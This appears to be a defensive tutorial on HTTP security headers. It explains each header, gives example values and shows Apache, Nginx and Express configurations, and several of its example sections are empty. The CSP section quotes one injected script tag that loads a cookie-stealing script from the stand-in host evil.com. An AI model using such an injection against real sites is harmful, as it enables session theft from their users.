HTTP Security Headers: Your Website's First Line of Defense

HTTP security headers are instructions your web server sends to browsers, telling them how to behave when handling your site's content. They're one of the easiest and most effective ways to protect your users from common web attacks.

Why Security Headers Matter

Without security headers, browsers make default assumptions that may not be safe. Attackers exploit these defaults to steal data, hijack sessions, and trick users. Security headers tell browsers exactly how to protect your users.

The Seven Headers at a Glance

Here's the full set you'll configure below, what each defends, and how urgent it is to ship:

1. Strict-Transport-Security (HSTS)

What it does: Forces browsers to always use HTTPS, even if the user types "http://" or clicks an HTTP link. Once set, the browser will automatically convert all HTTP requests to HTTPS.

Real-World Attack It Prevents

Example Configuration

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

What Each Part Means

• max-age=31536000 - Remember this setting for 1 year (31,536,000 seconds)
• includeSubDomains - Apply to all subdomains too (api.example.com, www.example.com)
• preload - Allow inclusion in browser preload lists (ultimate protection)

2. Content-Security-Policy (CSP)

What it does: Controls which resources (scripts, styles, images, fonts) can load on your page. It's the most powerful header for preventing XSS attacks, but also the most complex to configure.

Real-World Attack It Prevents

<script src="https://evil.com/steal-cookies.js"></script>

Example Configuration

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com

What Each Directive Means

• default-src 'self' - By default, only load resources from your own domain
• script-src 'self' https://cdn.example.com - Scripts only from your domain and your CDN
• style-src 'self' 'unsafe-inline' - Styles from your domain, allow inline styles
• img-src 'self' data: https: - Images from your domain, data URIs, or any HTTPS source
• font-src 'self' https://fonts.gstatic.com - Fonts from your domain and Google Fonts

3. X-Frame-Options

What it does: Controls whether your site can be embedded in iframes on other sites. This prevents clickjacking attacks where your site is invisibly overlaid on a malicious page.

Real-World Attack It Prevents

Example Configuration

X-Frame-Options: DENY

Available Options

• DENY - Never allow framing (most secure)
• SAMEORIGIN - Only allow framing by pages on the same domain
• ALLOW-FROM https://trusted.com - Only allow framing by a specific domain (deprecated)

4. X-Content-Type-Options

What it does: Prevents browsers from "sniffing" the content type of files. This stops attacks where malicious files are disguised as harmless ones.

Real-World Attack It Prevents

Example Configuration

X-Content-Type-Options: nosniff

There's only one value: nosniff. This tells browsers: "Trust the Content-Type header I send. Don't try to guess."

5. Referrer-Policy

What it does: Controls what information is sent in the Referer header when users click links or load resources from your site. This protects user privacy and prevents data leakage.

Real-World Privacy Issue It Prevents

Example Configuration

Referrer-Policy: strict-origin-when-cross-origin

Common Policies Explained

• no-referrer - Never send referrer information (most private)
• same-origin - Only send referrer for same-origin requests
• strict-origin - Send only the origin (not full URL) for HTTPS, nothing for HTTP
• strict-origin-when-cross-origin - Full URL for same-origin, just origin for cross-origin (recommended)

6. Permissions-Policy

What it does: Controls which browser features (camera, microphone, geolocation, etc.) can be used on your site and by embedded content. This limits the damage if your site is compromised.

Real-World Risk It Mitigates

Example Configuration

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self)

What This Example Does

• camera=() - No one can access the camera, not even your own site
• microphone=() - Microphone access completely disabled
• geolocation=() - Location tracking disabled
• payment=(self) - Only your own site can use the Payment Request API

7. Cross-Origin Isolation (COOP / COEP / CORP)

What it does: These three headers work together to isolate your page from cross-origin attacks like Spectre side-channel leaks, and unlock high-precision APIs (SharedArrayBuffer, performance.now() at microsecond resolution, Atomics.wait) that browsers gate behind cross-origin isolation.

Real-World Risk They Mitigate

Example Configuration

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy: same-origin

What Each Does

• COOP (Cross-Origin-Opener-Policy): Severs the window reference between your page and cross-origin popups/openers. same-origin is the recommended value; same-origin-allow-popups is a useful relaxation if you use OAuth popups.
• COEP (Cross-Origin-Embedder-Policy): Refuses to load cross-origin subresources unless they explicitly opt in via CORP or CORS. Use require-corp (strict) or credentialless (relaxed — sends no credentials so third-party resources can load without CORP).
• CORP (Cross-Origin-Resource-Policy): Goes on your subresources (images, scripts, JSON) to tell other origins whether they can embed them. same-origin, same-site, or cross-origin.

Secure vs Insecure Configuration

The same header can help or hurt depending on its value. A few patterns to follow — and a few to avoid:

Quick Implementation Guide

Apache (.htaccess)

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "camera=(), microphone=(), geolocation=()"
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'"

Nginx

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;

Express.js (Node.js)

const helmet = require('helmet');
app.use(helmet());  // Adds sensible defaults for all headers

Testing Your Headers

After implementing security headers, it's crucial to verify they're working correctly. Use our free tool to scan your site and get a detailed report.

Summary: Header Cheat Sheet